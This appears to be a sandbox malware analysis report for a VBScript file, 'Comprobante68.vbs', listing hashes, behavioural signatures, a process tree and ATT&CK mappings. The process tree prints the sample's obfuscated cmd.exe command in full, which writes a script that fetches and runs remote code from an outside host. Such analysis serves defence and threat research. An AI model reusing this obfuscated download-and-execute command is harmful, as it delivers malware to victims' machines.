48c42d8c9b585fb48b952807941853d6520285aaa4ec138d422bb51104f3b9fd

General

Target

Comprobante68.vbs
Size

52KB
MD5

c71257572d8131728c62b52248017025
SHA1

e4c7ac7b3f4047d7ace1559df4c9894f3224e2f8
SHA256

d2099233a72c282e64e85abcddb284cdffc18b24e088947254f9b55670f52f83
SHA512

02bc2015753fd65b202be58fde85fe0e7b8028bdf7b76ed052170725a5fac4a691aac69f29bcdf44e0f4d6ac01e7780905e7b8140e36543f8f6c7949c999add8

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

WScript.exe

flow pid process

6 1816 WScript.exe
7 1816 WScript.exe
8 1816 WScript.exe
9 1816 WScript.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
6	1816	WScript.exe
7	1816	WScript.exe
8	1816	WScript.exe
9	1816	WScript.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1988 wrote to memory of 1732	1988	WScript.exe	cmd.exe
PID 1988 wrote to memory of 1732	1988	WScript.exe	cmd.exe
PID 1988 wrote to memory of 1732	1988	WScript.exe	cmd.exe
PID 1732 wrote to memory of 1472	1732	cmd.exe	cmd.exe
PID 1732 wrote to memory of 1472	1732	cmd.exe	cmd.exe
PID 1732 wrote to memory of 1472	1732	cmd.exe	cmd.exe
PID 1732 wrote to memory of 752	1732	cmd.exe	cmd.exe
PID 1732 wrote to memory of 752	1732	cmd.exe	cmd.exe
PID 1732 wrote to memory of 752	1732	cmd.exe	cmd.exe
PID 752 wrote to memory of 1460	752	cmd.exe	cmd.exe
PID 752 wrote to memory of 1460	752	cmd.exe	cmd.exe
PID 752 wrote to memory of 1460	752	cmd.exe	cmd.exe
PID 1460 wrote to memory of 1816	1460	cmd.exe	WScript.exe
PID 1460 wrote to memory of 1816	1460	cmd.exe	WScript.exe
PID 1460 wrote to memory of 1816	1460	cmd.exe	WScript.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Comprobante68.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1988

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /V/D/c "SEt PU3=.vb&&SEt ga82= s6562 =ni0h58 ^"scni0h58rini0h58ptni0h58:^": lb078 =ni0h58 ^"hni0h58TtPsni0h58:^": Gni0h58etni0h58Objni0h58ecni0h58t(ni0h58s6562+lb078+^"&&sET ni0h58=fk56713fk56713contatornew3.3utilities.com/p1.php^")&&sEt/^p fba78="%ga82:ni0h58=%%ni0h58:fk56713=/%"<nul > C:\Users\Public\^hrw42d41%PU3%s|start cmd /c start C:\Users\Public\^hrw42d41%PU3%s"
2⤵
- Suspicious use of WriteProcessMemory
PID:1732

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" sEt/p fba78="%ga82:ni0h58=%%ni0h58:fk56713=/%" 0<nul 1>C:\Users\Public\hrw42d41%PU3%s"
3⤵
PID:1472

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" start cmd /c start C:\Users\Public\hrw42d41%PU3%s "
3⤵
- Suspicious use of WriteProcessMemory
PID:752

C:\Windows\system32\cmd.exe
cmd /c start C:\Users\Public\hrw42d41.vbs
4⤵
- Suspicious use of WriteProcessMemory
PID:1460

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Public\hrw42d41.vbs"
5⤵
- Blocklisted process makes network request
PID:1816

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\hrw42d41.vbs
MD5
27a17097b2c92780df571e05d93d44b2

SHA1
bc1791586a61e54a5a41f1403e827d9ed91d2d8d

SHA256
87340165ea0fb1e06364aa479acb2ff104ceddeaace0e548f687b2960a28ed36

SHA512
58b60de98416aebec71e75e05fcf93e56ff77b7322ca6272e06eb9a84e18c344055b678e5430991d9f9467d883102c4323fbf1ea3ec46e117bbba3035c802d7c

Download Submit
memory/752-62-0x0000000000000000-mapping.dmp

Download
memory/1460-63-0x0000000000000000-mapping.dmp

Download
memory/1472-61-0x0000000000000000-mapping.dmp

Download
memory/1732-60-0x0000000000000000-mapping.dmp

Download
memory/1816-66-0x0000000000000000-mapping.dmp

Download
memory/1988-59-0x000007FEFC051000-0x000007FEFC053000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing